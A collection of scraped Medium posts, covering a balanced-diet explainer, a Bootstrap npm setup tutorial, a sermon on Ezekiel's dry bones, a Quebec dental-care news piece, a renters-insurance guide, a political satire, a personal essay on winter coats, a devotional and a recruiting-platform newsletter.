A balanced diet is a diet that has all the nutrients in the required amount so that a person can be healthy and fit. A couple of years ago, people never bothered about the calories, nutritional values of food, or the importance of a balanced diet but with the increased incidents of different types of health-related problems people have started taking the help of professionals to make their diet plans to remain healthy. The main nutrients required by our body are carbohydrates, fats, and proteins. Carbohydrates and fats are important as they provide energy to the body to do daily activities. Proteins are important for the body's growth. Apart from these nutrients, vitamins and minerals are also needed for the body in a very small amount.
When a person is having a diet plan, it is very important to have items from each food group so that body could have the required amount of all nutrients. So it is very important to take a balanced diet for everyone. One must know the importance of a balanced diet.
* The required macronutrient is taken to maintain and regulate the various body functions; our body needs macronutrients like carbohydrates, fats, and proteins. For normal people, 50% of their body calorie is taken from carbohydrates, 15–20% from proteins, and the fat has to be the 30%. The people who are involved in lots of physical activities such as sportspeople or laborers must have 60–70% of body calorie from carbohydrates.
* Need for micronutrients such as vitamins and minerals. These are needed in very small amounts but are responsible for the regular body functions. Most of the children and teenagers do not like to eat fresh fruits and vegetables which are the main source of vitamins and minerals so in such cases daily vitamin and mineral supplements could be given but with the doctor’s advice only.
* Importance of water. Water has a very important role in our diet plan and a balanced diet is not possible without proper intake of water in the body. Water is needed in the formation of blood; maintain the water balance of the body, proper digestion of good. So it is important to consume 6–8 glasses of water in a day and it could be taken in the form of beverages free Reprint Articles, juices of fruits, and vegetables.
To remain healthy and fit one has to understand the importance of a balanced diet very well. | https://medium.com/@mariusvatamanel95/what-is-a-healthy-diet-e3486f12ac83 | [] | 2020-12-27 15:13:11.378000+00:00 | ['Health', 'Health Foods', 'Diet', 'Healthy Lifestyle', 'Health Recipe'] |
Installing Bootstrap and Phaser/HTTP-Server With NPM | Setting up Bootstrap:
To get started add a html boiler plate to your directory!
index.html example:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
</body>
</html>
With the project directory still as the current directory enter the command:
npm install bootstrap@4
You may notice some warnings about missing dependencies after running this command:
npm WARN [email protected] requires a peer of [email protected]–3 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of popper.js@¹.16.1 but none is installed. You must install peer dependencies yourself.
I guess we need to install them ourselves:
npm i popper.js
npm i jquery
At this point take a look at the package.json file. It should reflect the change made so far. There should be bootstrap, j query, and popper listed under the dependencies key.
example package.json
we should also have a new folder named node_modules. Inside this folder will be files pertaining to the packages we installed. Were going to need to reference a few in our html below.
In order to use Bootstrap we need to load the styles and JS in our html file. We need to reference the files in the node_modules directory. You can place the following in the <head> tag
<link rel=”stylesheet” href=”node_modules/bootstrap/dist/css/bootstrap.css
and the following in the top of the <body> tag
<! — jQuery first, then Popper.js, then Bootstrap JS. →
<script src=”node_modules/jquery/dist/jquery.slim.js”></script>
<script src=”node_modules/popper.js/dist/umd/popper.js”></script>
<script src=”node_modules/bootstrap/dist/js/bootstrap.js”></script>
to check that Bootstrap is working, below the scripts add this html(from the bootstrap docs) and load up index html!
<nav class=”navbar navbar-expand-lg navbar-light bg-light”>
<a class=”navbar-brand” href=”#”>Navbar</a>
<button class=”navbar-toggler” type=”button” data-toggle=”collapse” data-target=”#navbarNavDropdown” aria-controls=”navbarNavDropdown” aria-expanded=”false” aria-label=”Toggle navigation”>
<span class=”navbar-toggler-icon”></span>
</button>
<div class=”collapse navbar-collapse” id=”navbarNavDropdown”>
<ul class=”navbar-nav”>
<li class=”nav-item active”>
<a class=”nav-link” href=”#”>Home <span class=”sr-only”>(current)</span></a>
</li>
<li class=”nav-item”>
<a class=”nav-link” href=”#”>Features</a>
</li>
<li class=”nav-item”>
<a class=”nav-link” href=”#”>Pricing</a>
</li>
<li class=”nav-item dropdown”>
<a class=”nav-link dropdown-toggle” href=”#” id=”navbarDropdownMenuLink” data-toggle=”dropdown” aria-haspopup=”true” aria-expanded=”false”>
Dropdown link
</a>
<div class=”dropdown-menu” aria-labelledby=”navbarDropdownMenuLink”>
<a class=”dropdown-item” href=”#”>Action</a>
<a class=”dropdown-item” href=”#”>Another action</a>
<a class=”dropdown-item” href=”#”>Something else here</a>
</div>
</li>
</ul>
</div>
</nav>
you should have a nice Bootstrap nav-bar loaded in! | https://medium.com/swlh/test-ffd56bc3acfa | ['Kainan Doneson'] | 2020-10-04 02:44:58.717000+00:00 | ['JavaScript', 'Phaserjs', 'Bootstrap', 'NPM'] |
dry bones | SERMON (Chadbourn Community Church, sometime in 2017)
I do not know if I have the words today, the wisdom, the strength.
You see it has been a bad week.
Or I should say it has been a bad few days.
Earlier this week was amazing. I was in DC on vacation with my family.
But when I came back, I got word that a friend and colleague, who doesn’t live
anywhere close to here,
was arrested on terrible, horrible charges.
He was living a double life.
We who knew him as colleague knew a person of compassion and kindness
who loved God
and followed the way of Jesus in remarkable ways.
But he either had a mental break or has been living a cruel double life.
Either way, it doesn’t matter,
my heart is shattered,
my heart is broken.
I am in deep sorrow and sadness
for my friend and the community he served.
We’ve seen this before — in the Catholic church, with priests who misbehave,
and at New Life Church, and in every tradition, this kind of thing happens.
It is not so unique.
But when it is your friend, and your tradition,
it stings.
So I am up here aware of the brokenness of the world,
the sorrow of the world.
And I reminded that I am not perfect either, we are all in deep need of grace
and forgiveness.
And in my brokenness, and humility, and compassion,
isn’t it amazing how this happens? Here comes a word that I desperately need:
From Ezekiel: Oh mortal, you in your brokenness, with your broken bones and your broken heart, can these old crazy broken worn out dead bones live?
Speak to them, God says, in our reading: speak to them of my way of love and renewal and grace, and you’ll see, they will come to life. And, in the vision, bone attaches to bone, sinew attaches to tissue and life emerges, hope emerges, where before it was a valley of dead brittle valley of bones.
This brokenness, the beat downness that you feel, God says, do you think this could possibly be the end of the story? No. No. It is one more chance to experience resurrection, renewal, commitment.
Death, where is your victory, death where is your sting? No, we are in the realm of grace here, we are in God’s kingdom and one thing we know about God’s kingdom is that it is precisely in the broken places that the light comes through.
Now, I want to pause here, and remind you of how this is working in our reading.
Ezekiel has this vision. We heard the vision earlier in the service. It is a powerful image of death, a whole valley of bones.
God appears to breathe a new life into this scene. But God doesn’t say: well, gather up all the souls, gather up all the spirits of these bones. I will renew their souls. Their souls will be restored.
No, it is flesh, flesh and bone and tissue that God finds worth renewing.
Often, we hear about this dichotomy, this battle between the spirit and the flesh.
Not here, if spirit is going to be engaged, spirit needs flesh.
I can hear the Psalmist: I discovered that I could experience the love of God in the land of the living. I can hear those powerful words of the lord’s prayer: our father who art in heaven hallowed by thy name, thy kingdom come, they will be done, ON EARTH, as it is in heaven. On earth. This is crucially important to the message of the psalmist and jesus: that it is on earth that we can experience the kingdom of god, it is in our crazy old bones that we can find grace and love and renewal and new life. these bones, right now.
So, just what I need this word of renewal, of strength, it comes in the form of this crazy vision from Ezekiel.
In the hospital where I work, I saw on a wall, taped up in a room only visited by a few folks, written on old typewriter ink: Those who call upon the lord will renew their strength.
Where is your broken place today? Is your heart heavy? Is your mind overtaxed? Are you about to succumb to despair or cynicism? Has someone violated your trust, as my friend and colleague violated so many who trusted him, who loved him?
What is your address in the well traveled city known as the valley of dead bones? Have you taken up residence there? Have you settled in?
Our reading reminds us today that this is not the end of the story?
You too can be a witness to God’s glorious ability to bring life where there was no life, like Mary and Martha and all of those who loved Jesus and Lazarus.
This reading from John is particularly interesting.
We are right smack dab in the middle of the book of John. There are ten books before this chapter where Lazarus is raised and there are ten books following.
Up until now, Jesus has been especially concerned with the public. He has been doing many public things to help illustrate who he is and what he is about. The words that you will read a lot in the first ten chapters of John are Light and Life.
Light and Life are terrific images and they fit perfectly what he is trying to do, to reform and renew and challenge those who are withering away, drying up, dying at the hands of the roman empire and those in his own jewish community who are just kind of going through the motions.
In particularly difficult times, light and life are the messages about the kingdom of god that will preach.
It is all coming to a head here in the 11th chapter, in the raising of Lazarus. We are at the central point of the book of John and it is this central moment when Jesus raises Lazarus from the dead that his public ministry basically takes a back seat. Once he has done this, he is going to turn his attention almost fully to the disciples. And now, once his attention in on the disciples, now we are going to hear less about light and life and the word that comes up again and again: Love.
I asked my wife, Marta, who was supposed to be preaching today at Broadmoor Community Church but she’s not today because of the fire. I said, why is he focused on disciples and why is the message love? And she said to me: he’s delegating. He’s handing them the keys to the car, the keys to the kingdom.
As so he begins to see that his life is going to come to an end, he wants to empower and delegate, empower and delegate.
Now, as his disciples in this time, in this place, we are empwoered to find the dead parts of ourselves and with God’s help, bring them back to life.
Lazarus name, after all, means God helps.
(a prayer from the uu christian fellowship)
Merciful God, when we see the brokenness and violence of our world, it is tempting to point a finger of blame at others. Yet we know that we are not blameless: we also contribute to the brokenness and pain of our world.
In your mercy, hear our prayer of confession.
When we harbour anger and impatience in our own hearts…
…forgive us, O God.
When we allow grievances and jealousies to destroy our relationships with others…
…forgive us, O God.
When we fail to act with love toward one another, even those within our own church community…
…forgive us, O God.
When we harbour hidden prejudices against those who are different from us…
…forgive us, O God.
When we hesitate to act or speak out against violence and injustice…
…forgive us, O God.
When we hold tight to what we have, even though so many in our world do not have enough…
…forgive us, O God.
You have called us to be peacemakers, to continue the reconciling ministry of Jesus Christ. Remove from us all those things which would prevent us from being true agents of reconciliation in our broken world.
Through our lives, and by our prayers,may your kingdom come,and your will be done,on earth, as it is in heaven. Amen.
Ezekiel 37:1–14
37:1 The hand of the LORD came upon me, and he brought me out by the spirit of the LORD and set me down in the middle of a valley; it was full of bones.
37:2 He led me all around them; there were very many lying in the valley, and they were very dry.
37:3 He said to me, “Mortal, can these bones live?” I answered, “O Lord GOD, you know.”
37:4 Then he said to me, “Prophesy to these bones, and say to them: O dry bones, hear the word of the LORD.
37:5 Thus says the Lord GOD to these bones: I will cause breath to enter you, and you shall live.
37:6 I will lay sinews on you, and will cause flesh to come upon you, and cover you with skin, and put breath in you, and you shall live; and you shall know that I am the LORD.”
37:7 So I prophesied as I had been commanded; and as I prophesied, suddenly there was a noise, a rattling, and the bones came together, bone to its bone.
37:8 I looked, and there were sinews on them, and flesh had come upon them, and skin had covered them; but there was no breath in them.
37:9 Then he said to me, “Prophesy to the breath, prophesy, mortal, and say to the breath: Thus says the Lord GOD: Come from the four winds, O breath, and breathe upon these slain, that they may live.”
37:10 I prophesied as he commanded me, and the breath came into them, and they lived, and stood on their feet, a vast multitude.
37:11 Then he said to me, “Mortal, these bones are the whole house of Israel. They say, ‘Our bones are dried up, and our hope is lost; we are cut off completely.’
37:12 Therefore prophesy, and say to them, Thus says the Lord GOD: I am going to open your graves, and bring you up from your graves, O my people; and I will bring you back to the land of Israel.
37:13 And you shall know that I am the LORD, when I open your graves, and bring you up from your graves, O my people.
37:14 I will put my spirit within you, and you shall live, and I will place you on your own soil; then you shall know that I, the LORD, have spoken and will act,” says the LORD.
John 11:1–45
11:1 Now a certain man was ill, Lazarus of Bethany, the village of Mary and her sister Martha.
11:2 Mary was the one who anointed the Lord with perfume and wiped his feet with her hair; her brother Lazarus was ill.
11:3 So the sisters sent a message to Jesus, “Lord, he whom you love is ill.”
11:4 But when Jesus heard it, he said, “This illness does not lead to death; rather it is for God’s glory, so that the Son of God may be glorified through it.”
11:5 Accordingly, though Jesus loved Martha and her sister and Lazarus,
11:6 after having heard that Lazarus was ill, he stayed two days longer in the place where he was.
11:7 Then after this he said to the disciples, “Let us go to Judea again.”
11:8 The disciples said to him, “Rabbi, the Jews were just now trying to stone you, and are you going there again?”
11:9 Jesus answered, “Are there not twelve hours of daylight? Those who walk during the day do not stumble, because they see the light of this world.
11:10 But those who walk at night stumble, because the light is not in them.”
11:11 After saying this, he told them, “Our friend Lazarus has fallen asleep, but I am going there to awaken him.”
11:12 The disciples said to him, “Lord, if he has fallen asleep, he will be all right.”
11:13 Jesus, however, had been speaking about his death, but they thought that he was referring merely to sleep.
11:14 Then Jesus told them plainly, “Lazarus is dead.
11:15 For your sake I am glad I was not there, so that you may believe. But let us go to him.”
11:16 Thomas, who was called the Twin, said to his fellow disciples, “Let us also go, that we may die with him.”
11:17 When Jesus arrived, he found that Lazarus had already been in the tomb four days.
11:18 Now Bethany was near Jerusalem, some two miles away,
11:19 and many of the Jews had come to Martha and Mary to console them about their brother.
11:20 When Martha heard that Jesus was coming, she went and met him, while Mary stayed at home.
11:21 Martha said to Jesus, “Lord, if you had been here, my brother would not have died.
11:22 But even now I know that God will give you whatever you ask of him.”
11:23 Jesus said to her, “Your brother will rise again.”
11:24 Martha said to him, “I know that he will rise again in the resurrection on the last day.”
11:25 Jesus said to her, “I am the resurrection and the life. Those who believe in me, even though they die, will live,
11:26 and everyone who lives and believes in me will never die. Do you believe this?”
11:27 She said to him, “Yes, Lord, I believe that you are the Messiah, the Son of God, the one coming into the world.”
11:28 When she had said this, she went back and called her sister Mary, and told her privately, “The Teacher is here and is calling for you.”
11:29 And when she heard it, she got up quickly and went to him.
11:30 Now Jesus had not yet come to the village, but was still at the place where Martha had met him.
11:31 The Jews who were with her in the house, consoling her, saw Mary get up quickly and go out. They followed her because they thought that she was going to the tomb to weep there.
11:32 When Mary came where Jesus was and saw him, she knelt at his feet and said to him, “Lord, if you had been here, my brother would not have died.”
11:33 When Jesus saw her weeping, and the Jews who came with her also weeping, he was greatly disturbed in spirit and deeply moved.
11:34 He said, “Where have you laid him?” They said to him, “Lord, come and see.”
11:35 Jesus began to weep.
11:36 So the Jews said, “See how he loved him!”
11:37 But some of them said, “Could not he who opened the eyes of the blind man have kept this man from dying?”
11:38 Then Jesus, again greatly disturbed, came to the tomb. It was a cave, and a stone was lying against it.
11:39 Jesus said, “Take away the stone.” Martha, the sister of the dead man, said to him, “Lord, already there is a stench because he has been dead four days.”
11:40 Jesus said to her, “Did I not tell you that if you believed, you would see the glory of God?”
11:41 So they took away the stone. And Jesus looked upward and said, “Father, I thank you for having heard me.
11:42 I knew that you always hear me, but I have said this for the sake of the crowd standing here, so that they may believe that you sent me.”
11:43 When he had said this, he cried with a loud voice, “Lazarus, come out!”
11:44 The dead man came out, his hands and feet bound with strips of cloth, and his face wrapped in a cloth. Jesus said to them, “Unbind him, and let him go.” | https://medium.com/@liberalchristian/dry-bones-712ed5d5ed9e | [] | 2020-12-28 02:21:13.815000+00:00 | ['Faith', 'Dry Bones', 'Devotion', 'Grief', 'Church'] |
Should the Government Help With Quebec’s Oral Healthcare Project? Singh Says So | The Leader of the New Democratic Party, Jagmeet Singh, has requested that the federal government helps to finance upcoming oral healthcare projects in Quebec. The projects aim to help those who are on low incomes or live in remote areas. The overall aim is for an increase in the opportunity for such people to receive much-needed dental care.
New Democratic Party (NDP) leader Jagmeet Singh has requested that the federal government should step in and help finance a Quebec-based pilot project that aims to improve dental care for low-income individuals and families.
Singh has consistently been a vocal supporter of increased dental care access. Singh has now written a letter to Canadian Prime Minister Justin Trudeau, urging him to assist with the pilot projects.
The project is a first-of-its-kind plan to assist those in Quebec. Many people across Canada struggle to access much-needed dental care. These pilot projects could pave the way for further projects, with the potential of helping citizens across all of Canada to have better access to dental care.
Oral health in Canada is generally strong, though there are concerning statistics. For instance, while Canadians have been listed as having the seventh-best oral health in the world, there are cost issues [1].
Research shows that in a 12-month period, just 75% of Canadians visited a dentist. 23% of Canadians said they were put off from visiting the dentist due to the cost involved [2].
Dental care is not part of . As a result, many are unable to afford it. Singh has taken notice of this. Singh has said that “too many people have found themselves in emergency rooms because of dental problems that could easily be prevented if they could afford routine dental care” [3].
The pilot projects mentioned above concern the province of Quebec. In Quebec, public dental care is offered to children under the age of 10. But otherwise, full costs apply.
Christian Dubé, the Health Minister of Quebec, recently unveiled five pilot projects that would allow Quebec to offer free dental services in certain areas.
The clinics would offer services to around 22,000 people [4]! They would specifically be for those on low incomes, or for people who are living in remote regions. The different projects are taking place in various locations across Quebec [4].
The projects will involve the recruitment of dentists, dental hygienists and other staff members. The pilot projects will cost approximately $3million in the first year [4].
This is the first phase of an overall project aimed at reducing inequalities in dental care. If this phase proves successful, a second phase could extend the services to 600,000 people [4].
Dubé commented by saying “unfortunately, with the system that we know, there are many people who go without oral care and shouldn’t have to” [4]. Dubé went on to say that if the overall project was successful, it could be replicated in other provinces in Canada [4].
Under the leadership of Singh, the NDP has supported improvements in dental care across Canada. Therefore, it is unsurprising that Singh is urging the government to assist in this project.
Singh has referred to oral health as being one of Canada’s “biggest divides”, due to how those with lower income struggled with the fees involved [5]. Moreover, Singh has stated it is “foolish that your tongue and your throat is covered by the public health system, but not your teeth” [3].
The NDP made a modest improvement at the recent Canadian federal election. They secured approximately 18% of the national vote. Their approach to oral healthcare has proven popular.
Singh is now putting pressure on the federal government to act. Singh is hoping that by assisting with these projects, that it will increase the chances of a successful outcome. Therefore, further investment may follow. As a result, those with low incomes could get improved oral healthcare, which is an area that Singh is clearly passionate about.
is a Calgary Dental Clinic that offer many services, including regular check-ups, cavity fillings, and .
It is important for dental problems to be addressed early. Any oral-based problems will be identified at check-ups. This helps to prevent the problem getting worse. If and when further treatment is needed after a check-up, our patients receive a clear treatment plan.
The best way of avoiding extra treatment is to have strong oral hygiene. This includes brushing our teeth at least twice a day, flossing regularly, and getting a dental check-up at least twice a year. Avoiding sugary foods and drink and not smoking also helps.
Our Calgary-based dental clinic also follows the . This means our prices are competitive, transparent and affordable. Alberta Dental Fee Guide
We would love you to visit us here at soon! You can see more about us by visiting our website . https://taradaledental.ca
[1] DMFT Index. (2018). The DMFT Index: Healthy primary teeth by country. Available: https://www.yongeeglintondental.com/2018/07/23/healthy-primary-teeth/. Last accessed: 27 thNovember 2021.
[2] Statistics Canada. (2019). Dental Care, 2018. Available: https://www150.statcan.gc.ca/n1/pub/82-625-x/2019001/article/00010-eng.htm. Last accessed: 27 thNovember 2021.
[3] La Presse Canadienne. (2021). NDP asks federal government to help finance Quebec dental clinic pilot project. Available: https://montrealgazette.com/news/quebec/ndp-asks-federal-government-to-help-finance-quebec-dental-clinic-pilot-project. Last accessed: 26 thNovember 2021.
[4] La Pressé Canadienne. (2021). Quebec to offer free dental services in five pilot projects. Available: https://montrealgazette.com/news/quebec/quebec-to-offer-free-dental-services-in-five-pilot-projects. Last accessed: 26 thNovember 2021.
[5] Jones, R. P. (2021). Singh renews pledge of federal dental care, says Liberals take Atlantic Canada for granted. Available: https://www.cbc.ca/news/politics/singh-dental-care-1.6165041. Last accessed: 26 thNovember 2021. | https://medium.com/@taradaledentalgl/should-the-government-help-with-quebecs-oral-healthcare-project-singh-says-so-559e80f21de9 | ['Taradale Dental'] | 2021-11-29 21:04:06.660000+00:00 | ['Dentistry', 'Oral Health', 'Dental Care', 'Dental'] |
Renters Insurance: What It Is and Why It’s Valuable | While unfortunate to note, many people think getting renters insurance is no different from getting alien abduction insurance-an unnecessary expense they can do without.
However, contrary to popular belief, investing in renters insurance is actually a smart investment. If you are renting a home or an apartment, you will need an insurance policy that will protect your belongings.
This is where renters insurance comes in. In essence, renters insurance is similar to homeowners insurance, but it is designed for those who are renting or leasing properties like apartments or houses.
Also known as HO-4 policy or tenants insurance, renters insurance is a form of property insurance that protects against personal property losses and protects you from liability claims. This includes injuries that can occur in your rental property that is not caused by a structural problem.
Why is getting renters insurance important? While your landlord’s property insurance covers the building itself, it will not cover the contents of your apartment nor the damages for which you could be sued when someone has an accident within your rented space. The Importance of Renters Insurance: Six Smart Reasons to Get One
1. It is affordable
According to the National Association of Insurance Commissioners (NAIC), in 2017, the average renters insurance policy will cost you around $180 annually. The actual cost will depend on several factors, including the type of coverage you have chosen, where you live, your deductible amount, and how much coverage you need.
2. Your landlord might require it
Nowadays, a growing number of landlords now require tenants to purchase a renters insurance policy. This can either order from their insurance providers or their own policy. Some landlords may even ask for proof. That said, if you are considering getting renters insurance, your landlord may be able to help.
3. It provides liability coverage
The standard renter’s insurance policy has liability coverage. In other words, it provides protection when someone gets injured in your rented space. It will also cover legal expenses and court judgments up to the policy limit. Most policies typically provide at least $100,000 in liability coverage. A smaller amount may also go to medical-payments coverage. Fortunately, you can request and pay for higher coverage limits if that is your preference.
4. It protects your belongings when you travel
This might not be common knowledge, but renters insurance protects your personal belongings regardless of whether they are in your car, rented space, or with you while you travel. Your possessions also have coverage against loss due to theft. It is recommended that you ask your insurance provider what constitutes “ other covered losses. “
5. It can cover additional living expenses
If the space you are renting becomes uninhabitable due to one of the covered perils, your renters insurance might cover additional living expenses such as costs associated with living someplace else temporarily such as food, rent, etc.
6. It covers personal property losses
A renters insurance policy protects against personal property losses, including jewelry, luggage, computers, clothes, electronics, and furniture. Amazingly, renters insurance protects against a long list of perils. The typical renters policy covers losses to your
personal property from the following perils:
Lightning or fire
Damaged caused by aircrafts
Damaged caused by vehicles
Malicious mischief or vandalism
Falling objects
Civil commotions or riots
Volcanic eruption
Hail or windstorm
Weight of snow, sleet, or ice
Damage from steam or water from heating, air conditioning, plumbing, sprinkler
systems, and other household appliances
The Bottom Line
Renters insurance is one of the best investments you can make if you’re a renter. To make the most of your coverage, be sure you fully understand what your policy covers. You can also ask your insurance provider for deductibles, coverage limits, and discounts. | https://medium.com/@yourokcpropertymanager/renters-insurance-what-it-is-and-why-its-valuable-4639d9f42d49 | ['Yourokc Property Manager'] | 2021-02-10 08:58:22.353000+00:00 | ['Renters', 'Insurance'] |
Planned Parenthood Announces “Abortion Refund’ Policy Which Isn’t What It Sounds Like | WASHINGTON D.C, USA — After the Supreme Court added Justice Amy Coney Barrett, the conservative majority led Planned Parenthood to appeal to a more conservative audience. Over the weekend, the organization known for murdering innocent babies and feeding off the grief off new mothers announced an “abortion refund” policy for those who regretted their abortion. The procedure includes reviving the lifeless child in a Mary Shelley’s Frankenstein style procedure, which many worry will offend Planned Parenthood’s more liberal supporters.
Planned Parenthood CEO Alexis McGill Johnson comments saying she “isn’t worried” about her organization’s image after Justice Amy Coney Barrett expressed her “newfound support” for abortions after finding about the reversal procedure. Conservatives have followed her footsteps after the announcement was trending on Twitter. One tweet by user @manlyman read: “As long as the baby is alive, I’m happy”.
“When I first heard about an ‘abortion refund’, I was worried that meant having a fetus shoved up my [redacted]” says local female Ann Morison. She continues, “At least it gives my husband a reason to talk to me now, I could care less what happens to my body”. This sentiment seems to be felt nationwide as females everywhere applaud Planned Parenthood for their decision.
American author and conversationalist Candace Owens says this is the first step to bringing back “womanly women” now that “they have more power to make educated decisions”.
We even got the infamous Geico lizard, Martin, to weigh in. “Heck, if everyone is gonna give their opinion on what women do with their bodies, why can’t I?” he says in one interview. Unfortunately, the interview was cut short, and we weren’t able to get his actual opinion on the matter.
Johnson concludes her statement by saying “If this is what will help us open more Planned Parenthood clinics in conservative leaning states, then so be it”. | https://medium.com/@theeggplant/planned-parenthood-announces-abortion-refund-policy-which-isn-t-what-it-sounds-like-1b7c779d2aac | ['The Eggplant'] | 2020-12-08 20:01:33.174000+00:00 | ['Politics', 'Satire', 'Womens Rights', 'Abortion', 'Comedy'] |
The Lunacy of Winter Coats | My grandpa had a temper. It simmered beneath the surface of a sage, calm retired teacher, but it was always there.
I can only remember seeing it twice. The first time, he was clipping my toenails (I was five) onto a black magazine cover so he could see, collect, and throw them away easily. My grandma didn’t realize and picked up the magazine, sending toenails flying all over the room. They’re probably still buried somewhere in the carpet.
The other time, I was about the same age. It was wintertime. He picked me up from school, and we were getting ready to walk out to the car. I didn’t want to wear my coat. “Sorry, Trev, we’re not going anywhere until you put that coat on.”
I don’t remember what I said, but I refused for long enough that he became angry right there, in front of all the other kids. My patience would have been no match for his, so I’m sure I relented and wore the coat out to the car.
But that was far from the only time I chose not to wear a coat in the wintertime — even in frigid, single-digit temperatures. When my family and I went out to dinner, I often wore shorts and a t-shirt. (At some point, probably around age 10, my family—grandpa included—gave up on the issue.)
They believed I was only trying to make a point. “You’re just being difficult,” they told me, or “Why must you be different?” they asked.
It infuriated me. It insulted me, too: My family believed I was so … childish, so dumb, so reflexively contrarian that I rebelled just for the sake of rebelling. It infuriated me beyond the point where I could articulate my reasoning.
Now I can articulate it. See, going out to dinner, even if the temperature was 10 degrees, involved very little time actually outdoors. The car was parked in the garage. The car was heated. At the restaurant, we’d park — what? — a dozen steps from the entrance? Of course, the restaurant was heated, too. I knew all this, had it all laid out in my head, had calculated exactly how much time I’d be outdoors and knew how many times I’d have to put on and remove my coat:
Put it on before leaving the house
Take it off in the car
Back on when leaving the car
Off at the restaurant (and then I’d have to find a place to put it)
Plus, the same procedure in reverse on the way home
Without being able to express it, I knew that putting on my heavy winter coat for a simple trip to a restaurant and back was more trouble than it was worth. A few seconds of being cold before the car warmed up, and a few seconds outdoors on the way into and out of the restaurant wouldn’t hurt me.
In fact, to me, it seemed ridiculous that no one else saw it the same way, that they couldn’t make the same calculations. They were the ones acting reflexively, reaching into the closet for their coats just because the calendar said January and the thermometer said 10, whether they were going to spend a minute outside or an hour.
I wonder, if I’d been able to express my thoughts, whether my family would’ve seen the light.
I’ve thought about winter coats over the past few months, because we’re seeing a similar drama play out on a grander scale. We have what seem to be two sides to an issue: One side is insisting that everyone, no matter what, put on an article of clothing before leaving the house. The other side has a slightly more nuanced viewpoint that the first side reduces to childishness, selfishness, and reflexive contrarianism.
My experience as a kid is illuminating, though, in two ways.
First, my grandpa’s insistence on wearing a coat, while it worked that one time, probably made me more spiteful of the whole coat-for-fifteen-seconds charade. I’ll bet it led me to be even stronger in my conviction the next time.
Secondly, consider the old hypothetical about the Pope. If he wakes up tomorrow morning and chooses to be Catholic, how much could he really have thought about it overnight? But, if he wakes up tomorrow and declares himself a Buddhist or an atheist, he must have put some effort into the decision. Keep that in mind the next time you think you see people rebelling just for the sake of being different.
That’s not to say they’re always right, but this much is true: To arrive at conclusions and make decisions that go against the grain involves a lot more thought than going with the crowd. | https://medium.com/@trevorkraus/the-lunacy-of-winter-coats-ce850d1a8c44 | ['Trevor Kraus'] | 2020-12-28 04:19:13.187000+00:00 | ['Coat', 'Rebellion', 'Masks', 'Winter', 'Philosophy'] |
*No To Dim Eyes in my youth.* | *_Genesis 27:1-2 And it came to pass, that when Isaac was old, and his eyes were dim, so that he could not see, he called Esau his eldest son, and said unto him, My son: and he said unto him, Behold, here am I.And he said, Behold now, I am old, I know not the day of my death:_*
What a matter. My heart is greatly challenged. I have no option but to weep in prayers. Lord let my eyes not grow dim in my youth. May I not lose passion for your eternal purpose when I have more years ahead. May I not settle when there are still many lands to conquer. Let my appetite not be reduced to only eating Venison while the will of God is yet undone. May I not think of handing over the Barton when my course is yet unfinished.
Isaac was old and his eyes became dim that he could not see. His only resolve was to keep eating venison. And he was ready to place the Barton of authority to the wrong person even when prophecy had gone ahead that the elder shall serve the younger, all because of dim eyes. The pursuit of meat (what to eat indeed dims the eyes). An old man's eyes may grow dim but I pray we don't grow old while we are still in our youth.
Even in the work God has committed into our hands, may we not be too eager to handover while we still have months ahead. May we not grow weary of the Lord's burdens while there remaineth much work to be done. In Jesus name. Amen.
Shalom.
✴ *@WKG_WAPNetworks* | https://medium.com/@giftreliablewuzor/no-to-dim-eyes-in-my-youth-1b81d4d4f204 | ['Wuzor Knowledge Gift', 'Wkg'] | 2020-03-03 13:20:06.457000+00:00 | ['Impact', 'Christianity', 'Destiny', 'Purpose', 'Vision'] |
December Community Update | Black Friday & Cyber Monday Sales
Recrooits 4 day sales event was a complete success!
We gave the community the chance to get the best deals ever on the platform and they said yes.
Now, we have a whole lot of bounties for recrooiter and work ahead for the team at Recrooit. Thanks to all that participated, shared, or liked, this was our first but not last BFCM event, we hope to have many more to come.
It’s a great time to post on Recrooit, and to become a recrooiter!
Here is just a part of all the postings in need of talent and the bounties up for grabs:
If you want a side hustle to complement your effort and end the year with a bang now it's the time to join us, signing up is easy and free, do it here.
Happy holiday hunting!
Recrooit keeps getting better
We listened to you and have added a few new things to the platform to make recrooiters jobs easier and clients posts more effective, here is what you missed:
We added the salary range to the job posting information
Job type information is also available (full or part-time)
Timers on the job posts
Location setting is now unrelated to remote availability so a job can be posted from Belgrade but still be remote (yey!)
Get a peak of Recrooit from the inside
This month, we’ll also tell you all our amazing recrooiter Nikola and his road to our platform and tools. Our greatest resource is our recruiters and we know you may be wondering why and how they came to on us. If you are curious about joining Recooit this is the blog for you.
With this piece, you get a closer look into the recrooiter process to see how easy it is to use and earn rewards with us!
Become the next featured recrooiter by signing up here
You all get a free ebook on candidate profile creation form us
The time for presents is now!
So, we gift you our exclusive guide to creating the perfect candidate persona, get yours here!
A candidate persona profile is one of those recruitment tools that can be a total game-changer, just like Recrooit. You can use it to narrow down your search and cut on the time it takes to find the ideal person for the position. Don't miss out on this excellent tool to get you started on the path of better recruitment for 2021.
Enjoy your holidays!
It's been a tough year all around, yet we at Recrooit still decided to embark on the dream of creating a new way of recruitment with a more human approach developing an easier to use platform. A way of recruiting that brings people together and gets talent where it needs to be.
Now, as the years nears its end it's time to enjoy the fruits of your work, we celebrate you: developers, entrepreneurs, recruiters, fellow humans.
Let’s go into the next years together with more strength! | https://medium.com/recrooitblog/december-community-update-3a4fa3c170b8 | ['Maryann Superlano'] | 2020-12-02 09:50:32.180000+00:00 | ['Recruitment', 'Recruiting', 'HR', 'Side Hustle', 'Christmas'] |
Without Poetry | Without poetry
I might walk the earth
just once,
knowing you
solely as this you
forgetting our travels together
through worlds
only recognizable
before dawn
when the moon
is nearly full,
when we were similar lovers
and our fires met
not to ignite ancient memories
but to clear the way
to create a path
to burn the walls
our future selves will build
when we have forgotten
the poetry of Us. | https://medium.com/the-scene-heard/without-poetry-1ffceefc86e7 | ['Jen Smat'] | 2018-02-07 19:11:34.150000+00:00 | ['Poetry', 'Thesceneandheard', 'Poetry On Medium', 'Love', 'Creative Writing'] |
Step by Step Guide on How to Learn Angular in 2021 | Step by Step Guide on How to Learn Angular in 2021 Vsevolod Ulyanovich Follow Jun 21 · 4 min read
Angular became one of the three most used web frameworks among developers globally in 2020. When we started talking about this tool on our social media, it resonated strongly with our community members. So, we decided to expand on that and provide you with more information on this state-of-the-art framework.
